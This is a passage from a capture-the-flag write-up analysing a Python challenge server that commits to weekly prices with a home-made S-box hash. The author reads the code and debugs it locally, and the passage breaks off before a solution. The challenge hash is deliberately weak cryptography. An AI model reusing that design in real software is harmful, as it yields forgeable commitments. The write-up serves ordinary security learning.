    <span class="n">data</span> <span class="o">=</span> <span class="nf">group</span><span class="p">(</span><span class="nf">pad</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
    <span class="k">for</span> <span class="n">roundkey</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nb">round</span><span class="p">):</span>
            <span class="n">state</span> <span class="o">=</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">roundkey</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
                <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">sbox</span><span class="p">[</span><span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
            <span class="n">temp</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">state</span><span class="p">)):</span>
                <span class="n">temp</span><span class="p">[</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span> <span class="o">=</span> <span class="n">state</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
            <span class="n">state</span> <span class="o">=</span> <span class="n">temp</span>
    <span class="k">return</span> <span class="n">state</span><span class="p">.</span><span class="nf">hex</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">gen_price</span><span class="p">():</span>
    <span class="n">r</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
    <span class="k">if</span>   <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">99</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">500</span><span class="p">,</span> <span class="mi">600</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">95</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">450</span><span class="p">,</span> <span class="mi">500</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">90</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">400</span><span class="p">,</span> <span class="mi">450</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">85</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">350</span><span class="p">,</span> <span class="mi">400</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">80</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">300</span><span class="p">,</span> <span class="mi">350</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span> <span class="mi">75</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span><span class="mi">250</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">r</span> <span class="o">&gt;=</span>  <span class="mi">0</span><span class="p">:</span> <span class="n">price</span> <span class="o">=</span> <span class="nf">randint</span><span class="p">(</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">250</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">price</span>

<span class="k">def</span> <span class="nf">gen_hashes_and_prices</span><span class="p">():</span>
    <span class="n">d</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">mon</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">tue</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">wed</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">thu</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">fri</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">sat</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">}}</span>
    <span class="n">secret</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="nf">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>
    <span class="nf">seed</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="nf">from_bytes</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">))</span>
    <span class="n">hashes</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">'</span><span class="s">day-time</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">day</span> <span class="ow">in</span> <span class="n">d</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">time</span> <span class="ow">in</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">].</span><span class="nf">keys</span><span class="p">():</span>
            <span class="n">price</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">][</span><span class="n">time</span><span class="p">]</span> <span class="o">=</span> <span class="nf">gen_price</span><span class="p">()</span>
            <span class="n">hashes</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">hash</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">price</span><span class="p">)]).</span><span class="nf">encode</span><span class="p">()))</span>
            <span class="k">if</span> <span class="n">price</span> <span class="o">&gt;</span> <span class="n">highest</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">]),</span> <span class="n">price</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">secret</span><span class="p">.</span><span class="nf">hex</span><span class="p">(),</span> <span class="sh">"</span><span class="s"> </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">hashes</span><span class="p">),</span> <span class="n">d</span><span class="p">,</span> <span class="n">highest</span>

<span class="k">def</span> <span class="nf">disp_prices</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">s</span><span class="p">):</span>
    <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">The secret was </span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s">.</span><span class="se">\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
    <span class="k">for</span> <span class="n">day</span> <span class="ow">in</span> <span class="n">d</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">time</span> <span class="ow">in</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">].</span><span class="nf">keys</span><span class="p">():</span>
            <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">day</span><span class="p">.</span><span class="nf">capitalize</span><span class="p">()</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">time</span><span class="p">.</span><span class="nf">upper</span><span class="p">()</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">][</span><span class="n">time</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">challenge</span><span class="p">(</span><span class="n">req</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
        <span class="n">secret</span><span class="p">,</span> <span class="n">hashes</span><span class="p">,</span> <span class="n">prices</span><span class="p">,</span> <span class="n">highest</span> <span class="o">=</span> <span class="nf">gen_hashes_and_prices</span><span class="p">()</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Price commitments for the week: </span><span class="si">{</span><span class="n">hashes</span><span class="si">}</span><span class="se">\n\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Monday AM Price: </span><span class="si">{</span><span class="n">prices</span><span class="p">[</span><span class="sh">'</span><span class="s">mon</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">am</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">(Week </span><span class="si">{</span><span class="n">n</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s">) Enter day-time of highest price for the week: </span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">inp</span> <span class="o">=</span> <span class="n">req</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">).</span><span class="nf">strip</span><span class="p">().</span><span class="nf">decode</span><span class="p">().</span><span class="nf">lower</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">inp</span> <span class="o">!=</span> <span class="n">highest</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
            <span class="nf">disp_prices</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">prices</span><span class="p">,</span> <span class="n">secret</span><span class="p">)</span>
            <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Try again next week.</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">You got it!</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Even Tom Nook is impressed. Here</span><span class="sh">'</span><span class="s">s your flag: </span><span class="si">{</span><span class="n">FLAG</span><span class="p">.</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="k">class</span> <span class="nc">TaskHandler</span><span class="p">(</span><span class="n">socketserver</span><span class="p">.</span><span class="n">BaseRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">handle</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">BANNER</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">MESSAGE</span><span class="p">)</span>
        <span class="nf">challenge</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">socketserver</span><span class="p">.</span><span class="n">ThreadingTCPServer</span><span class="p">.</span><span class="n">allow_reuse_address</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="n">server</span> <span class="o">=</span> <span class="n">socketserver</span><span class="p">.</span><span class="nc">ThreadingTCPServer</span><span class="p">((</span><span class="sh">'</span><span class="s">0.0.0.0</span><span class="sh">'</span><span class="p">,</span> <span class="mi">8080</span><span class="p">),</span> <span class="n">TaskHandler</span><span class="p">)</span>
    <span class="n">server</span><span class="p">.</span><span class="nf">serve_forever</span><span class="p">()</span>
</code></pre></div></div><h5 id="solution">Solution</h5><p>I started reading it and noticed a few things which scared me <code class="language-plaintext highlighter-rouge">sbox</code> and <code class="language-plaintext highlighter-rouge">hash</code>. <code class="language-plaintext highlighter-rouge">sbox</code> from what I remembered had something to do with cryptography and <a href="https://en.wikipedia.org/wiki/S-box">searching online</a> confirmed it.</p><p>I then started reading from where code was executed (skip the function definitions).</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">TaskHandler</span><span class="p">(</span><span class="n">socketserver</span><span class="p">.</span><span class="n">BaseRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">handle</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">BANNER</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="n">MESSAGE</span><span class="p">)</span>
        <span class="nf">challenge</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">request</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">socketserver</span><span class="p">.</span><span class="n">ThreadingTCPServer</span><span class="p">.</span><span class="n">allow_reuse_address</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="n">server</span> <span class="o">=</span> <span class="n">socketserver</span><span class="p">.</span><span class="nc">ThreadingTCPServer</span><span class="p">((</span><span class="sh">'</span><span class="s">0.0.0.0</span><span class="sh">'</span><span class="p">,</span> <span class="mi">8080</span><span class="p">),</span> <span class="n">TaskHandler</span><span class="p">)</span>
    <span class="n">server</span><span class="p">.</span><span class="nf">serve_forever</span><span class="p">()</span>
</code></pre></div></div><p>Is used to serve the challenge and seems unrelated to the problem. The <code class="language-plaintext highlighter-rouge">handle</code> function sends the banner and a message and then calls the <code class="language-plaintext highlighter-rouge">challenge</code> function which is where the core of the challenge seems to be located.</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
        <span class="n">secret</span><span class="p">,</span> <span class="n">hashes</span><span class="p">,</span> <span class="n">prices</span><span class="p">,</span> <span class="n">highest</span> <span class="o">=</span> <span class="nf">gen_hashes_and_prices</span><span class="p">()</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Price commitments for the week: </span><span class="si">{</span><span class="n">hashes</span><span class="si">}</span><span class="se">\n\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Monday AM Price: </span><span class="si">{</span><span class="n">prices</span><span class="p">[</span><span class="sh">'</span><span class="s">mon</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">am</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="se">\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">(Week </span><span class="si">{</span><span class="n">n</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s">) Enter day-time of highest price for the week: </span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="n">inp</span> <span class="o">=</span> <span class="n">req</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">).</span><span class="nf">strip</span><span class="p">().</span><span class="nf">decode</span><span class="p">().</span><span class="nf">lower</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">inp</span> <span class="o">!=</span> <span class="n">highest</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
            <span class="nf">disp_prices</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">prices</span><span class="p">,</span> <span class="n">secret</span><span class="p">)</span>
            <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Try again next week.</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">You got it!</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">req</span><span class="p">.</span><span class="nf">sendall</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Even Tom Nook is impressed. Here</span><span class="sh">'</span><span class="s">s your flag: </span><span class="si">{</span><span class="n">FLAG</span><span class="p">.</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
        <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div><p>The flag is sent in the else block which is reached when the for loop finishes without being exited (with a <code class="language-plaintext highlighter-rouge">break</code> or like in this case with <code class="language-plaintext highlighter-rouge">exit</code>). This means we must have <code class="language-plaintext highlighter-rouge">inp == highest[0]</code> 20 times consecutively. Each time represents a “week”.</p><p>We are given all hashes, the price on Monday at time “am” and are asked to enter the time of the highest price in the week. All of these values are retrieved from the function <code class="language-plaintext highlighter-rouge">gen_hashes_and_prices</code>.</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">gen_hashes_and_prices</span><span class="p">():</span>
    <span class="n">d</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">mon</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">tue</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">wed</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">thu</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">fri</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span><span class="sh">"</span><span class="s">sat</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span><span class="sh">"</span><span class="s">am</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="sh">"</span><span class="s">pm</span><span class="sh">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">}}</span>
    <span class="n">secret</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="nf">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>
    <span class="nf">seed</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="nf">from_bytes</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">))</span>
    <span class="n">hashes</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">'</span><span class="s">day-time</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">day</span> <span class="ow">in</span> <span class="n">d</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">time</span> <span class="ow">in</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">].</span><span class="nf">keys</span><span class="p">():</span>
            <span class="n">price</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">day</span><span class="p">][</span><span class="n">time</span><span class="p">]</span> <span class="o">=</span> <span class="nf">gen_price</span><span class="p">()</span>
            <span class="n">hashes</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">hash</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">price</span><span class="p">)]).</span><span class="nf">encode</span><span class="p">()))</span>
            <span class="k">if</span> <span class="n">price</span> <span class="o">&gt;</span> <span class="n">highest</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">highest</span> <span class="o">=</span> <span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="n">day</span><span class="p">,</span> <span class="n">time</span><span class="p">]),</span> <span class="n">price</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">secret</span><span class="p">.</span><span class="nf">hex</span><span class="p">(),</span> <span class="sh">"</span><span class="s"> </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">hashes</span><span class="p">),</span> <span class="n">d</span><span class="p">,</span> <span class="n">highest</span>
</code></pre></div></div><p>The function <code class="language-plaintext highlighter-rouge">gen_hashes_and_prices</code> generates a <code class="language-plaintext highlighter-rouge">secret</code> using the function <code class="language-plaintext highlighter-rouge">urandom()</code> from the module <code class="language-plaintext highlighter-rouge">os</code>. I assumed this function to generate cryptographically random numbers (we can’t guess the numbers it will generate from previous numbers it generated) as I know <code class="language-plaintext highlighter-rouge">/dev/urandom</code> to be secure, and in fact <a href="https://docs.python.org/3/library/os.html#os.urandom">the documentation</a> for it confirms this is the case. It then sets the seed used by the python <code class="language-plaintext highlighter-rouge">random</code> module, which means that if we know the value of <code class="language-plaintext highlighter-rouge">secret</code> we can possibly get all the numbers generated, additionally the <code class="language-plaintext highlighter-rouge">random</code> module isn’t cryptographically secure which means that with enough numbers generated by it, we can guess the next numbers.</p><p>The function then iterates over the days in the week from Monday to Saturday (excluding Sunday), and for each iterates over the times “am” and “pm”. For each times (combination of day and time), it generates a price using the <code class="language-plaintext highlighter-rouge">gen_price</code> function and then appends to the list <code class="language-plaintext highlighter-rouge">hashes</code>, the value returned by the function <code class="language-plaintext highlighter-rouge">hash</code>, with as input a string made-up of the secret and the day of the week, time and price. If the price generated is the highest seen so far, <code class="language-plaintext highlighter-rouge">highest</code> is updated.</p><p>The <code class="language-plaintext highlighter-rouge">gen_price</code> function generates a price based on 2 calls to <code class="language-plaintext highlighter-rouge">randint</code>. This means that knowing the price of Monday at time “am”, means that we have one of the number generated and an estimation of another one. Because the seed used by the random function is updated each “week”, it means that each “week” is independent and we can’t use data from previous weeks to solve the following weeks.</p><p>I searched online to find how to predict numbers from the <code class="language-plaintext highlighter-rouge">random</code> module. I found <a href="https://crypto.stackexchange.com/questions/53811/is-it-possible-to-recover-the-seed-used-by-pythons-pseudo-random-number-generat">a post</a> the discusses it. However, the answers says that even with 40 generated numbers it is not possible to reverse the state of the number generator. Considering that for each week, only 24 numbers (2 per generated price, for 2 times for 6 days per week) are generated, it means that exploiting the <code class="language-plaintext highlighter-rouge">random</code> module seems out of reach.</p><p>Next I looked at the <code class="language-plaintext highlighter-rouge">hash</code> function. It starts with an initial state and then for each group of 16 bytes in the data, changes the state based on it.</p><p>At this point I was lost and didn’t know what to do. A teammate, Uzay, who was also looking at the challenge said that he managed to run it locally, and that it allowed to print some stuff. I followed his suggestion and added a print statement that prints the <code class="language-plaintext highlighter-rouge">state</code> in the <code class="language-plaintext highlighter-rouge">hash</code> function for each block of 16 bytes:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">data</span> <span class="o">=</span> <span class="nf">group</span><span class="p">(</span><span class="nf">pad</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
    <span class="k">for</span> <span class="n">roundkey</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nb">round</span><span class="p">):</span>
</code></pre></div></div><p>A file named <code class="language-plaintext highlighter-rouge">secret.py</code> with the following line also had to be added so that the program could run:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">FLAG</span><span class="o">=</span><span class="sh">"</span><span class="s">testing_flag</span><span class="sh">"</span>
</code></pre></div></div><p>Once running this is what was printed on the server.py output when a client connected:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python server.py
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&amp;')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
